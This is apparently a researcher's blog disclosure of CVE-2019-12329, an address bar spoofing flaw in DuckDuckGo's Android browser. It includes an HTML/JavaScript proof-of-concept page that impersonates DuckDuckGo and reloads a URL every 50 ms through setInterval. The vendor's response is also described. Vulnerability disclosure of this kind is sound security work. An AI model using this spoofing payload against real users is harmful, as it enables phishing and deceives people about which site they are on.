Showing posts with label CVE-2019-12329. Show all posts
Showing posts with label CVE-2019-12329. Show all posts

Tuesday 28 May 2019

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src=""> <script> function fakefuntion() { location = "" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.